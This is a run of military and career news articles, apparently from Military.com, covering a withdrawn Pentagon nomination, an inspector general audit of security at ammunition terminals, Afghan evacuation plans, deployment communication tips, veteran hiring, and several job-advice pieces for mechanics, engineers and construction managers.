Pentagon Press Secretary John Kirby confirmed at a news briefing Wednesday that Michael Brown took himself out of the running to be the Defense Department's undersecretary for acquisition and sustainment in a letter to Defense Secretary Lloyd Austin.

In the letter, which was obtained by Military.com, Brown said he was stepping aside because an inspector general investigation into his hiring practices at the Defense Innovation Unit would hold up his nomination by as much as a year, and he did not want to slow the departments work down.

"While I am confident the Office of Inspector General will ultimately find no wrongdoing on my part, I know there are other qualified candidates who can focus on the urgent business of making our acquisition processes faster and more effective," Brown wrote. "I must put the interests of the department above my own enthusiasm for serving as the undersecretary for acquisition and sustainment."

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Inside Defense first reported the news.

Brown remains the head of the Defense Innovation Unit, which he has run since 2018, Kirby said.

Defense One reported in April that the IG was looking into allegations Brown sidestepped federal hiring rules at the Defense Innovation Unit, but had not yet launched a formal investigation.

Brown is alleged to have given six employees special treatment during hiring, such as tailoring job descriptions to those candidates' abilities to ensure they would get the job.

-- Oriana Pawlyk contributed to this story.

-- Stephen Losey can be reached at stephen.losey@military.com. Follow him on Twitter @StephenLosey.

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The Defense Departments inspector general on Monday criticized the military's two coastal facilities in charge of shipping large containers of arms, ammunition and explosives around the world for security lapses, which could place these weapons at risk of theft.

The IG report said U.S. Transportation Command's ocean terminals at Concord, California, and Sunny Point, North Carolina, have been plagued by staffing and funding shortages that hurt their ability to provide security both on land and the water surrounding the facilities.

For example, the IG said, the California installation doesn't have enough ships to provide security on the water. And the North Carolina site is missing necessary signage on the installation itself and the surrounding land. The report didn't specify what kinds of missing signs were compromising security.

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The lapses place the facilities at risk of trespassing or break-ins, the report said. And if unauthorized people were to break into these shipping facilities, they could steal dangerous military weapons or explosives.

The Associated Press reported last month that at least 1,900 military firearms, including pistols, shotguns, machine guns and automatic assault rifles, had been lost or stolen from armories or other facilities around the world over a decade. Some of those weapons ended up in the hands of criminals and were used in violent crimes, the AP reported.

Chairman of the Joint Chiefs Gen. Mark Milley told lawmakers the military takes weapons security "extraordinarily seriously," though he said the totals the services have reported to him were less than the AP's tally. He pledged to get a firmer number of lost weapons to lawmakers.

Milley said full criminal investigations are launched if any weapons or explosives are found to be missing or in any way unaccounted for.

The installations -- which are run by the Army's Military Surface Deployment and Distribution Command -- were not reviewing security plans annually, as the service requires. This happened at the California terminal because its leadership didn't make it a priority, the IG found, adding that security reviews fell off at the North Carolina terminal because of high turnover in its physical security leadership.

The California terminal's security plan and procedures also were vague and didn't spell out the exact steps to protect arms, ammo and explosives while on the installation, according to the report.

The unclassified audit did not identify any cases in which sensitive equipment was stolen or compromised or the facilities breached, although it is unclear whether such instances were included in unreleased classified documents. But the report explained that such security failures could allow unauthorized people to get onto the highly sensitive installations.

Leaders at Transportation Command and the Military Surface Deployment and Distribution Command partially agreed with the recommendations to set up a waterside security program in California and fix signs and infrastructure in North Carolina, the report said. The IG will consider those closed when it sees evidence the changes have been made, it added.

-- Stephen Losey can be reached at stephen.losey@military.com. Follow him on Twitter @StephenLosey.

Related: AP: Some Stolen US Military Guns Used in Violent Crimes
The White House plans to begin flying some Afghans who assisted the United States and their families out of Afghanistan the last week in July.

A senior administration official confirmed to Military.com that the newly dubbed Operation Allies Refuge will fly eligible Afghans who are interested and are being considered for a Special Immigrant Visa to an unidentified third country.

The administration official would not say, for operational security reasons, when the flights would depart, but pledged to meet the goal President Joe Biden set last week to start flights this month.

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During a July 8 White House address discussing the Afghanistan withdrawal, Biden pledged to honor America's commitments to Afghans who helped the nation over the last 20 years.

"Our message to those women and men is clear," he said last week. "There is a home for you in the United States if you so choose, and we will stand with you just as you stood with us."

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But many Afghans who assisted the United States -- at one point, roughly 18,000 of them -- have been waiting for years for a broken and punishingly slow Special Immigrant Visa process to run its course. Activists who are trying to get the government to act more quickly to help those Afghans are increasingly warning their lives are at risk from the Taliban.

One Afghan, who asked to be identified only as Said for his family's security, spoke to Military.com this month about his visa process, which began more than 12 years ago.

"The security situation is getting worse and worse, day by day," he said. "The threats are getting close to us ... and getting very much closer."

Pentagon Press Secretary John Kirby said last week that the evacuation process could include the use of State Department-chartered or commercial aircraft. Kirby said the military could provide its own transportation capability, but as of then had not been asked to do so.

Some activists are pushing the government to relocate Afghans to Guam while they wait. Reuters reported earlier this month that the U.S. was negotiating with Uzbekistan, Kazakhstan and Tajikistan, located near Afghanistan, to temporarily take in the Afghans.

Tracey Jacobson, a senior diplomat who has previously served as the top U.S. ambassador to Tajikistan, Turkmenistan and Kosovo, will lead the State Department unit organizing the evacuation effort, the administration official said. Officials from the Defense and Homeland Security departments will also work with that unit.

-- Stephen Losey can be reached at stephen.losey@military.com. Follow him on Twitter @StephenLosey.

Related: Dreaming of America, Fearing Taliban Takeover: As US Withdraws, Afghan Interpreter Waits for Visa
Communications play a critical role when a servicemember is physically absent. Maintaining an emotional connection is essential in sustaining a relationship. Active communication also boosts morale for both the servicemember and those left at home. It is vital to make communication plans prior to the period of separation to avoid misunderstandings and to save on those unexpected long distance phone calls! Consider which of these methods might be best for your family.

Letters: Letters are the most inexpensive way of communicating and can be the most satisfying. Letters can be reread over and over, especially during periods of loneliness. They are also fun to read years later! Letters can be long, detailed accounts of everyday activities or can be short and sweet "thinking of you" messages. Whatever the style, letters are much appreciated by both partners. It is imperative that you date each letter as you may not receive letters in sequential order. Some couples number every letter that they send so the receiving partner knows which one to read first when he or she receives five letters in one day (mail service on and off ships is sometimes unpredictable!).

E-mail: Communicating via e-mail has become increasingly popular for geographically separated couples. However, the servicemember will need to check for system availability aboard ship or at his or her destination. If a computer and e-mail account are made available, this is an excellent way of communicating. This mode of communication is fairly fast and each partner can get "up-to-date" information. If time, planning, and capability exist the couple can create a private chat room and have an electronic conversation. If the spouse at home does not have a personal computer or Internet service, he or she can check at a nearby military installation or another family readiness agency which may offer e-mail access. If this is not convenient, check with your local library for Internet access and free e-mail accounts.

Phone: Relying solely on telephonic communication can be extremely expensive. Many a spouse has gasped with disbelief when the phone bill arrives, so beware! However, hearing your loved ones voice every now and then is a luxury that many couples will budget for. Compare prices between a direct phone call and paying with a phone card. A pre-paid phone card is convenient and there are no surprise bills. Also, check with your long distance carrier for military overseas discounts. Most of the major phone companies offer such discounts. You will need to open this account prior to the separation. Consider using a MARS (Military Affiliated Radio System) station if one is conveniently located near you. The MARS operators are HAM radio owners who have volunteered to help bring military families together. They are patching the call from the ship and will be on the line with you. Calls are limited to 3 to 5 minutes. This service is free of charge.

Care Packages: Care packages send a little piece of home to the servicemember. Things to include might be photographs, cookies, magazines, or a home video. Delivery usually takes 2 to 3 weeks but can take as long as 6 to 8 weeks so send early if you want it to arrive in time for a special occasion. You will need to follow postal regulations for packing and wrapping. Care packages are wonderful morale boosters during a deployment.

Audio/Videotapes: Audiotapes are an excellent way to hear the voice of your loved one. You can give a long, detailed account of the day or week, or you can add a little bit each day. This will take prior planning as you both will need a tape player/recorder. Videos are an excellent resource for loved ones to see where the servicemember is stationed or what the sea and ship look like. Likewise, the servicemember will enjoy seeing his or her family engaging in activities. Again, prior planning is essential. You may want to share resources with other families so both the servicemember and the family members have access to a recorder. Some units offer a taping session for families to be viewed by the service members aboard ship.

Telegram: If speed is needed, a non-emergency message can be sent via Western Union. Messages are usually delivered within 36 hours. Just remember that many people will see this message so do not include private information.
JOINT BASE LEWIS-McCHORD, Wash. -- The Defense Department launched a new website for children experiencing the challenges of military deployments.

The highly interactive website, http://www.MilitaryKidsConnect.org, was created by psychologists at DoDs National Center for Telehealth and Technology here. It helps children of deployed parents cope with the stress, changing responsibilities, and concern for the safety of their parents, officials said.

The center, known as T2, developed the website with informative videos, educational tools, and engaging games and activities for three age groups: 6 to 8, 9 to 12 and 13 to 17. The site features monitored online social network forums for the groups to safely share their experiences with deployments.

MilitaryKidsConnect.org is the first DoD website to connect children in the widely separated active, reserve and National Guard military communities, officials said.

Since 2001, an estimated 2 million children have said goodbye to a parent headed to deployments in Iraq, Afghanistan, other places around the globe, and on ships at sea, explained Kelly Blasko, a T2 psychologist. Military children are deeply affected by the separation of their parents deployment. Weve seen that in their hearts, kids deploy too.

The website has features that will help children, parents, and educators navigate the wide range of practical and emotional challenges military families must live with throughout the deployment cycle, Blasko said.

While military children are very adaptable given the constant changes and stressful nature of military life, she added, deployment puts a unique stress on family relationships at home, which can also affect the deployed servicemember. The DoD now has a website to help the youngest members of the military community.

The National Center for Telehealth and Technology serves as the primary DoD office for cutting-edge approaches in applying technology to psychological health.
Despite what you might think, National Hire a Veteran Day is not a federal holiday and there's no law demanding employers hire veterans. The day's sole purpose is to remind employers that America's separating vets are ready, able and willing to work.

It was designed to implore U.S. businesses to consider hiring some of the estimated 200,000 veterans who leave the armed forces every year. Hiring a veteran means employers not only get a dedicated, capable employee, they're also eligible for some sweet tax credits, at least through 2025.

Tax credits aside, here are seven reasons to think about hiring veterans on this National Hire a Veteran Day.

1. Veterans have more than technical skills.

These days, traits such as leadership abilities, teamwork and self-actualization are known as "soft skills" among employers and hiring managers. Hiring a young veteran means you're not only getting someone who can do their job, but has many of the "soft skills" that come with working experience. Other skills include project planning and organization, critical thinking and managing others.

According to a 2017 Rand Corp. report, veterans who are roughly the same age as new college graduates are much better at working with other employees, at leading those same groups in the absence of orders from authority, and at professional customer service (along with dozens of other skills) because of their military working experience.

2. They have on-the-job experience and training.

All things being equal, hiring a veteran over a new college grad for a position where both are equally qualified means you'll be getting someone with real-world work experience. While most veterans should expect to start over when entering the civilian workforce for the first time, many veterans immediately assume official or unofficial leadership roles due to their years of working.

Employers often can count on a diverse set of experience from their veteran employees. Many vets are expected to work in all kinds of environments with many different tools, so they are comfortable adapting to new situations.

3. Not all veterans work in combat career fields.

This isn't a surprise to military members, but the businesses who might employ veterans may see a veteran's military career through the lens of American film and television. Only 14% of the U.S. military's hundreds of career fields are combat specialties. The other career fields have direct civilian counterparts, especially in terms of construction, engineering and medicine.

Mission support careers are as diverse in the active military as they are in civilian life. Military members receive the same (or better) education, on-the-job training and certifications as any other person working in their respective fields. The military even trains photographers, chefs and human resources specialists, just to name a few.

4. The U.S. military thrives on diversity.

Any business looking to diversify its workforce should consider adding military veterans to its force. According to the Defense Department's own statistics, racial and ethnic minorities make up 40% of the military's active-duty component, which is "slightly" more diverse than the general American population.

So if a business is looking for those who thrive harmoniously with a diverse set of coworkers, U.S. veterans are not only accustomed to diversity, they thrive in it.

5. Veterans are more likely to have a college degree.

Former military officers all have at least a four-year degree, and prior-service enlisted veterans get access to some of the greatest education benefits available in the United States today. Not only are those benefits available both before and after their service, vets take advantage of them.

The Post-9/11 GI Bill offers military members unparalleled educational opportunities, and the result is an era of veterans who are more educated than any that came before. In many veteran demographics, the number of vets with a four-year or advanced degree outpaces their civilian counterparts, according to the Bureau of Labor Statistics.

6. Vets don't need a rank structure.

There may be a preconceived notion among employers that former military members are good only at taking orders and require a strict hierarchy to perform well in their chosen career, company or industry. While it's true that veterans come from a rigid rank structure, most are also trained to think and act quickly to respond to fluid situations. Many have seen events that required a degree of autonomy when that rank structure wasn't available.

Many business owners relayed their views of their veteran employees to the Department of Labor when it was creating its Guide to Hiring Veterans. They found veterans to be creative problem-solvers with integrity and a mission-oriented approach to their work. Veterans, they said, were agile, adaptive self-starters who perform well under pressure.

7. Veteran employees work well in groups.

In the military, service members often rely on their core group to operate effectively and safely. The camaraderie that develops over years of teamwork builds not only the ability to work well with others, but a desire to feel like they are part of a team. Veterans intuitively understand the value of teamwork in accomplishing set goals and take personal responsibility for the success of their group.

To top it all off, In the absence of designated or external leadership in their group, vets have no problem stepping into an official or unofficial leadership role. They can be counted on to apply the same mission-oriented approach they take in their individual tasks to team sessions.

-- Blake Stilwell can be reached at blake.stilwell@military.com. He can also be found on Twitter @blakestilwell or on Facebook.

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"One day you witness the satisfaction of overseeing the completion of a major project -- knowing that you supply power, heat and clean water to the community or to a business is very rewarding," says Bill Krech, a construction manager (CM) for Inver Grove Heights, Minnesota-based Total Construction.

But then there are days that don't go quite as planned.

Related: Search for Construction Manager jobs.

"The downside of the job is when your project falls apart for various reasons, and your customer becomes very upset with how you spent their money," he says. "Or there's times when you are near completion of the project and you have to back off, because the owner has no more money to pay."

Such is the life of a construction manager, a job Krech says never gets dull and is rarely the same two days in a row. One day he won't have enough drivers to haul material to a site, or he might have to deal with a workplace injury. Other days he's in the office planning one project or off site bidding on another. And in addition to managing and overseeing the day-to-day operations of his own workers, Krech has to make sure his company is working in unison with others at the same site.

"A lot of times we'll be at a site and so will four or five other outfits," says Krech. "We all have to work together in order to stay on time, within budget and as scheduled."

Danelle Prezioso, deputy executive director of the Construction Management Association of America, knows how valuable a good CM is to a project's successful completion.

"The professional construction manager strives to give owners more effective control of complex construction, delivering high-quality finished projects on time and within budget," says Prezioso. "The CM is your advocate, combining detailed technical knowledge with a commitment to meeting your needs."

Prezioso says a CM is typically responsible for these duties:

Release and use of funds throughout the project.

Project scheduling.

Control of the scope of work.

Optimum use of other firms' talents and resources.

Avoiding delays, changes, disputes and cost overruns.

Optimum flexibility in contracting and procurement.

Assuring the project is built to specifications.

"Construction management is a discipline and management system specifically created to promote the successful execution of capital projects for owners," says Prezioso. "These projects can be highly complex. Few owners maintain the staff resources necessary to pay close, continuing attention to every detail -- yet these details can make or break a project."

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Krech, who has a degree in electrical engineering from the University of Minnesota, says CMs can start out making anywhere from $30,000 to $40,000 per year but adds that salaries "can get into six figures for someone who has education, experience and proven success as a manager."

Another key to success in construction management is communication skills. With so many different people responsible for so many different facets of a job, clear communication with staff, clients and others is crucial, says Paul Oberhaus, vice president of CPMI, a Bloomington, Minnesota-based construction management firm.

"Construction managers must be able to interact with many different personality types and be able to communicate effectively to motivate individuals to perform," says Oberhaus.

A typical day for a CM at his firm, Oberhaus says, involves directing the site's daily operations, dealing with project developers on issues that develop, planning for the next day, week and future, and solving problems and logistical issues, all while documenting every step.

"The only other tip I can offer is to do the job as honest and fairly as possible," says Oberhaus. "Mistreatment of [workers and subcontractors] travels through the industry like the fires in southern California."

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For most auto mechanics looking to advance in their field, formal training is a must. Unfortunately, this training is often expensive and time-consuming. Unless advanced training is available locally, taking a course can also mean spending a week or more away from home, translating into lost income.

While formal training is often preferred, there are steps you can take in its absence to keep up-to-date, improve your skills and broaden your base of knowledge. All it takes is time, effort and sometimes a few wisely spent dollars. Check out these ways to get training without spending an arm and a leg.

Start with the Boss

It's in your best interest to keep up-to-date on the latest automotive technology. This also benefits your employer. If the shop you work for neither shoulders a good part of the cost of continuing education nor makes it possible for technicians to get more training, ask why. If your boss does not see value in training, you may want to look for a new job.

Visit a Local Technical College

So you went to your employer to ask for more training options and no sale. For the time being, you're on your own, which means you are on a budget for both time and money.

Start with a visit to the bookstore at the local technical college and see what texts the college uses for its advanced automotive-technology courses. If these books address your needs, buy them. Then set aside a quiet time on a regular basis to study them. Follow up by taking the self-tests many of these texts provide. If your area does not have a technical college, look for reading lists online.

Check Out the Library

While it is unusual for smaller community libraries to have a wide selection of advanced auto-technology texts, the librarian may be able to obtain these books through interlibrary loan.

"If we don't have a book, we'll buy it if it's within our budget or borrow it from anywhere in the country," says Sandra Gamzon, manager of information services at the Hartford Public Library in Connecticut. "Generally, interlibrary loan is a viable alternative, though it can take up to a month to get a book."

Read the Right Publications

Many publications that cater to auto technicians can give you a glimpse of the latest technology and service approaches. If your boss doesn't subscribe, you can buy a subscription or two for just a few dollars. The expense may even be tax deductible if you meet certain criteria.

Go Online

A Google search for "automotive training" produces more than 8.9 million hits. While many of these sites aim to sell you training, others, such as Autoshop101, offer some self-taught training programs free.

If you work for a franchised dealer, you may be able to use the online version of the manufacturer's training programs.

Check Parts Suppliers and Test-Equipment Manufacturers

From local one-night seminars to on-the-job advice, many parts suppliers and test-equipment manufacturers will help in your training. Some even offer troubleshooting suggestions when you face a difficult repair.

"We have the CarQuest Technical Institute, and we have 15,000 students enrolled in instructor-led programs," says Mike DeSorbo, director of professional markets and education at CarQuest in Raleigh, North Carolina. "Our plans are to take some of that curriculum and expand it online. There's no place like home to learn." CarQuest also offers a self-paced series of training programs.

These courses vary in their approaches. Some use workbooks, while others use video or computers, DeSorbo says. CarQuest also offers ongoing training for $1,249 a year for up to six technicians from a shop. If a shop takes advantage of all six slots, the price is just $209 per person.

The instruction is for two consecutive nights a month for a year. Classes are four hours each night. Offerings include technical courses that teach the technician to diagnose and repair vehicles and management courses covering topics like workflow management and maximizing productivity.

All of these approaches can work to varying degrees; a lot depends on your learning style. A combination of methods may work best for you.

For more tips on staying productive while unemployed or to search for military-friendly employers visit Military.com's Careers Channel.
Engineering jobs have long been a source for consistent career opportunities and relative job security. But, more than many other professional fields, there is a fairly distinct geography to engineering's major disciplines.

With that in mind, here's a rough map of where in the US you can find an engineering job in your specialty.

Related: Search for Engineering jobs.

High Concentrations of Engineers in Defense, Aerospace and High Tech

Many of the flashiest jobs in traditional engineering disciplines can be found out West.

"Hot spots for engineering jobs are where the defense contractors, high tech industries and aerospace congregate -- California, the Pacific Northwest, Texas, Arizona and around Washington, DC," says Jim Turnquist, director of the career center at Michigan Technological University in Houghton, Michigan.

As always, there's substantial military engineering work happening on the West Coast and in the Northeast, according to Ziyad Duron, chair of the engineering program at Harvey Mudd College in Claremont, California.

Hot Spots for Energy Engineering Jobs

Oil and natural gas prices have fluctuated considerably over the last few years, but demand for energy engineers of one subspecialty or another has remained strong.

"Chemical and petroleum engineering are big in the West," says Paul Klein, director of career services at Cleveland State University. Petroleum engineers are being hired in California, Arizona, Texas and Louisiana, with a lot of new activity in North Dakota, Turnquist adds.

Engineering for renewable energy systems like wind and solar is a small discipline that promises to grow rapidly. "Colorado is big in wind power," Klein says. California and Arizona are home to a number of companies trying to make a go of it by engineering next-generation solar-powered technologies and products.

Then there's electricity transmission and distribution. "Power-grid upgrades have been in the plans for a while," Turnquist says. "Now the stimulus package has added money for smart grids." Big cities across the country are the most likely sites for engineers in this specialty.

Mining engineers, a small cadre in high demand, are most sought-after in the natural resource-rich West, especially the Rocky Mountain states.

Search for Energy Engineering jobs.

Environmental, Health and Safety Engineers

On the flip side of energy engineers are environmental engineers -- the ones concerned with mitigating the environmental impacts of fossil fuels.

"There's a lot of environmental engineering going on in Orange County and northern California, in Seattle and in the Northeast, especially Maine," Duron says.

Environmental engineering tends to be stronger in states on the forefront of environmental regulation. The same holds true for health and safety engineering, though much of the work for these disciplines is driven by federal regulation.

Search for Environmental Engineering jobs.

Bio, Mechanical and Industrial Engineering Jobs

"The hotbeds of bioengineering are in Philadelphia and New Jersey and parts of Texas," Klein says. Greater Boston and Research Triangle Park in North Carolina are also strong in bioengineering.

What about those trusty engineers who keep American business and manufacturing running? Mechanical engineers and industrial engineers are in demand in many parts of the country, but especially in the South, where so much manufacturing has migrated in recent decades.

Electrical and Civil Engineers Cover the Map

Some disciplines by nature are distributed relatively evenly over the nation. Civil engineers are in demand where the infrastructure is older and in need of repair and rebuilding, as in the Northeast, and where the population is expanding, which in recent decades has meant the South and the West.

"With civil engineers, no matter where you go, they're looking for you," Klein says. "The bridges, roads and other infrastructure funded by the Recovery Act are fueling creation of civil engineering jobs." Similarly, electrical engineers are needed on many kinds of projects all over the country.

Don't Forget Government Jobs in Engineering

Engineers often overlook the largest employer -- the government, Klein says. "Engineers in the federal government will be retiring at great rates very soon, and your upward mobility will skyrocket," he says. Federal, state and local governments employed about 12 percent of engineers in 2006, according to the Bureau of Labor Statistics.

One more tip: "Graduates should pay attention to where state departments of economic development are allocating money," Klein says.

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The coding systems used to classify federal jobs vary by agency, but the most common system is the General Schedule (GS). In nearly all cases, Federal employees must be U.S. citizens. Beyond that, qualifications vary.

Qualifications

The Government hires people with nearly every level of education and experiencefrom high school students with no experience to Ph.D.'s with established careers. Jobs in some occupations, such as engineer, ecologist, and lawyer, require that workers have a bachelor's or graduate degree and credit for specific college classes. Other occupations require experience, education, or a combination of both. A few, such as office clerk, require no education or experience to start.

Related: Search for Government jobs.

The qualifications needed for each job are described in detail in the vacancy announcements that advertise job openings. Each job also has a code that corresponds to its minimum requirements. Understanding these codes will speed your search.

Shortcut to Matching Your Qualifications: Cracking the GS Code.

The coding systems used to classify jobs vary by agency, but the most common system is the General Schedule (GS). The GS assigns every job a grade level from 1 to 15, according to the minimum level of education and experience its workers need. Jobs that require no experience or education are graded a GS-1, for example. Jobs that require a bachelor's degree and no experience are graded a GS-5 or GS-7, depending on an applicant's academic credentials and an agency's policies. The table below shows the GS levels for entry-level workers with different amounts of education and little or no work experience.

College degrees only qualify you for a particular grade level if they are related to the job. For occupations requiring general college-level skills, a bachelor's degree in any subject can qualify you. But other occupations require a specific major.

Related: To apply for jobs that match your skills, visit the Military Skills Translator.

After gaining work experience, people often qualify for higher GS levels. In general, 1 year of experience related to the job could raise your grade by one GS level in most clerical and technician positions. In administrative, professional, and scientific positions, GS level increases in increments of two until you reach a GS-12. After that, GS level increases one level at a time. With each additional year of experience at a higher level of responsibility, your GS level could continue to increase until it reaches the maximum for your occupation.

GS Levels by Education

GS-1 No high school diploma GS-2 (GS-3 for clerk-steno positions) High school diploma or equivalent GS-3 High school graduation or 1 year of full-time study after high school GS-4 Associate degree or 2 years of full-time study after high school GS-5 or GS-7, depending on agency policy and applicant's academic credentials Bachelor's degree or 4 years of full-time study after high school GS-7 Bachelor's degree plus 1 year of full-time graduate study GS-9 (GS-11 for some research positions) Master's degree or 2 years of full-time graduate study GS-9 Law degree (J.D. or LL.B.) GS-11 (GS-12 for some research positions) Ph.D. or equivalent doctorate or advanced law degree (LL.M.)

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Automotive technicians are generally paid by the amount of work they produce (known as "flat rate" compensation), or by the hour. Some shops combine hourly pay with incentives for above-average productivity. Here's what to consider when determining which is right for you:

Defining the Terms

In a shop that pays by the hour, employees are compensated for the amount of time they actually work. If a job that standard "books" estimate will take an hour turns into a three-hour ordeal, the employee is paid for all three hours.

Related: Search for Automotive Mechanic jobs.

Under the flat-rate pay system, the technician is paid by the job. Similar to the example above, if a job that is estimated at one hour takes three, the employee is still paid at the flat rate -- the equivalent of one hour. However, if he completes the work in just 30 minutes, he still receives the full flat rate.

Pros and Cons

"Hourly rates are predictable," says Jon DiGuiseppi, manager of Green's Farms Shell Service Center in Westport, Connecticut. "You know at the beginning of the week what you'll make at the end."

Mechanics working for a flat rate have the potential to triple their earnings, according to DiGuiseppi.

DiGuiseppi's shop uses an hourly scale, because "we're old school," he says. "We've been here 40 years, and we like the predictability." Technicians at dealerships, on the other hand, can "make a killing off flat rate, because they're almost always busy."

An assistant service manager at a Toyota dealership, who asked that his name not be used because he was not speaking for the manufacturer, says that from a manager's point of view, hourly work is unproductive. There's no reason to work quickly.

However, he says of technicians who work fast and efficiently under a flat rate: "If you know you can 'make' 15 or 20 hours a day, you'll do it." (This dealership makes sure that flat-rate workers don't cut corners by closely monitoring their work. Anyone whose repairs result in repeat visits can be terminated.)

Related: To apply for jobs that match your skills, visit the Military Skills Translator.

Warranty Repairs

Warranty work is different from other general repairs. Most shops use commercial reference guides to determine the amount of time needed to do general repair work. These guides allow reasonably competent technicians enough time to complete a repair profitably.

But repairs made under new vehicle warranties are governed by the manufacturers' estimates of how much time it should take to do the job. These are often less generous, so technicians who work according to flat rates based on manufacturers' estimates may end up with less compensation -- one-quarter to one-third less, the Toyota service manager estimates.

Flat-rate pay systems can also result in lower paychecks during slow periods. While there is no industry standard, DiGuiseppi says that most shops guarantee at least a small base salary.

"The best type (of pay system) is really a combination of salary and incentives," says Dick Laimbeer, publisher of Motor service trade publications. Technicians working under flat-rate or incentive pay systems usually earn more than employees in shops with hourly rates -- provided they are confident and work reasonably quickly.

Most companies use one system. However, even in many flat-rate shops there are tasks for which pay is based on work done on the clock. These often involve diagnosis work so complex that it is impossible to estimate how much time will be involved in finding the problem and then making a repair. Tasks that place a premium on fine craftsmanship are also often done at an hourly rate.

The Bottom Line

Ultimately, of course, the right choice depends on the auto technician himself. If you prefer to work slowly and methodically, employment in a flat-rate environment may not be for you. If your specialty is taking time to solve the elusive, difficult problems that plague some vehicles, flat-rate work may also hold little appeal.

On the other hand, if you can do a good job quickly and can find a shop with ample work that requires your set of skills (and has the equipment you need), you should thrive financially in a flat-rate or incentive environment.

"It's up to you," DiGuiseppi says. "The more you think you can handle, the more you can command. If you're not sure of yourself, do hourly."

"If you're a hustler, the opportunity is definitely there to do very, very well," the Toyota representative adds.

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Most people associate retail jobs with sales and customer-service positions. But if you look behind the scenes, you'll see a number of opportunities for people who prefer hands-on work.

Various Opportunities

Large retailers hire stock personnel whose duties include bringing merchandise out to the floor and replenishing shopping bags at the registers. "If you like getting your hands dirty and keeping busy, this is definitely the way to go," says Derek Culp, who was promoted from backroom team member to team lead at Target's Saugus, Massachusetts, store. Retailers also hire maintenance personnel to keep stores looking their best. Other hands-on roles include shippers and receivers, who unload the trucks and maintain order in the stockroom or warehouse.

The Requirements

"When hiring for these positions, retailers look for a proven track record of getting to work and doing so on time," says Maureen Taylor, former human resources manager for a major retail store in Boston. "They also look for candidates who can follow directions." Enthusiasm, a solid work history and the ability to work in a team environment are high on retailers' wish lists as well.

"If you are trying to get into retail, go in with a fresh mind and attitude," Culp says. "Go into work looking forward to what you are doing every day."

Culp also says you need to be physically fit to work in the stockroom and that the job keeps you active. He should know. Culp lost 30 pounds within four months of starting work. "The day flies by, because you are busy carrying out large goods for customers, making sure the store looks clean and restocking shelves," he says.

Where to Look for Work

When searching for retail jobs, don't overlook specialty retail stores, which allow you to combine your hobby with your job. Consider the following examples:

Passionate about scuba diving? "We hire hourly personnel who are certified divers to service scuba equipment such as tanks, regulators and buoyancy compensators," says Mark Potter, president of Mass Diving in Natick, Massachusetts. Positions at the store also include shipping and receiving as well as store maintenance.

If you've always been told you have a knack for arranging flowers, consider applying for a position at a flower shop. Kiersten Peterson, human resources manager for Boston-based Winston Flowers, says her company looks for customer service-oriented individuals with floral-design skills. "We require an audition when we hire floral arrangers," she says. "We also look for positive, upbeat individuals, regardless of position."

If you feel like you can be on one of those home-renovation or decorating television shows, get off the couch and roll up your sleeves. Start by applying for jobs at your local hardware store, where you will be able to learn about different aspects of home repair. You might also consider applying for work at one of the larger home-improvement stores. They are always looking for hourly personnel with expertise in the trades.

Visit the Retail Career Center to find retail job opportunities.
Whether caused by issues at work or home, stress can be more than an irritant; it can be debilitating with far-reaching consequences. It can be particularly pronounced in jobs like automotive repair, which focus on customer service. Learn how to handle stress effectively through these steps.

Step One: Get a Handle on the Cause

Many people feel under increasing pressure today. The pace of work is faster, technology is constantly changing and employers seem to want more for each dollar of pay.

Life at home can also be stressful. Bills, health problems and family relationships can quickly raise your blood pressure and anxiety levels.

If you have reached the point where you feel something has to give, the best approach is often to stop what you are doing and reflect on your situation. Take a few deep breaths. Then, ask yourself exactly what it is that is placing you under so much pressure. Chances are that you will be able to come up with a list of several items in just a few minutes.

Step Two: Reduce Stress On and Off the Job

Now that you have a list, rate your stress factors for importance. Then, rate them for the difficulty you would encounter solving them. Many people who create this list are surprised to see that the biggest issues causing stress are sometimes also the issues most easily resolved.

At home or at work, stress that is not easily eliminated can sometimes be defused by taking a simple walk around the block. Even changing your position can have a beneficial effect. If you stand most of the time, sit down for a few minutes. If you usually sit, stand up.

Step Three: Address the Causes at Work

Talk to your boss about issues that cause stress on the job. It is in the owner"s interest, as well as yours, to fix these situations.

"Shops vary incredibly," notes Jim Kelly, who is in technical support operations for Ford Motor Company. Frequently, he says, technicians can be frustrated -- and stressed -- by their inability to quickly find the information they need.

"Shops need to be online with a high-speed connection," Kelly says. If yours is not, ask management why. Chances are everyone will appreciate the improvement in productivity that can accompany the elimination of a stress factor such as this one.

In other cases, your frustration may come from within. If you find a particular type of troubleshooting or repair especially stressful, maybe you need more training. Ask for it.

Step Four: Be Reasonable

Recognize what you can and cannot do, then work on altering those stressful aspects of your job that are within your power to change. For example, upset customers will always be part of the business, but a disorganized toolbox need not be.

Actually, problems you cannot fix really aren"t problems at all. They are conditions around in which you, and everyone else, must work. Do not allow yourself to be stressed by conditions.

Sometimes, it takes only a change in mindset to do wonders for reducing stress. If you know a job takes five hours, even though the factory may only allow four, don"t pressure yourself to do the job in an unreasonable time period. Accept reality. You"ll feel better.

Next, be sure the boss knows the car will be ready in five hours, not four. It is always better to underpromise and overdeliver. That, too, reduces stress.

Step Five: Don"t Stay in Untenable Situations

If you find yourself in a stressful situation where you do not fit, look for another job. That could lower your stress immensely.

For example, "not all technicians can be happy in a flat-rate shop," says Laurence Eiden, trade and industry consultant for the vocational-technical school system in Connecticut. "These people may be more effective and happier in an hourly system."

In the same manner, you will probably never be able to change an unreasonable boss or owner. Changing your job, however, is within your power. Stress, it should be noted, is often caused not by difficult situations, but by our belief that we lack the power to deal with them.

Step Six: Use Support Systems

Many companies have employee assistance programs that can help with all sorts of problems, including stress caused by the job or a situation at home. If your employer has this service, which is often provided on a confidential basis by a third party, take advantage of it. If not, a quick search of the Yellow Pages will find many nonprofit agencies that can help with everything from job counseling to family therapy. In addition, your doctor may be able to help if you find stress debilitating.
Even with Detroit's difficulties over the past few years, the automotive industry is still a major source of jobs for military servicemembers, and now electric cars are diving into the veteran job pool, as Tesla Motors has announced new initiatives to get veterans on board.

"Veterans are the perfect fit for Tesla because many of them gained incredibly advanced technical, electrical and mechanical skills in the service that are directly applicable to manufacturing electric vehicles," says Camille Ricketts, Director of Communications for Tesla.

Founded in 2003 and headquartered in Palo Alto, California, Tesla focuses on electric cars and drivetrains. First production models of their cars hit the streets in 2008, and since then they have sold close to 2,000 cars in 31 countries. The company currently employs 45 veterans and has a few more in the hiring pipeline. Many of them are or will be working at the Tesla Factory in Fremont, California, but positions are being hired for all areas of the company.

"Veterans are taught to be leaders within the context of a cooperative team, and that is exactly how Tesla works  allowing employees to think outside the box while working hard toward a common goal," says Ricketts.

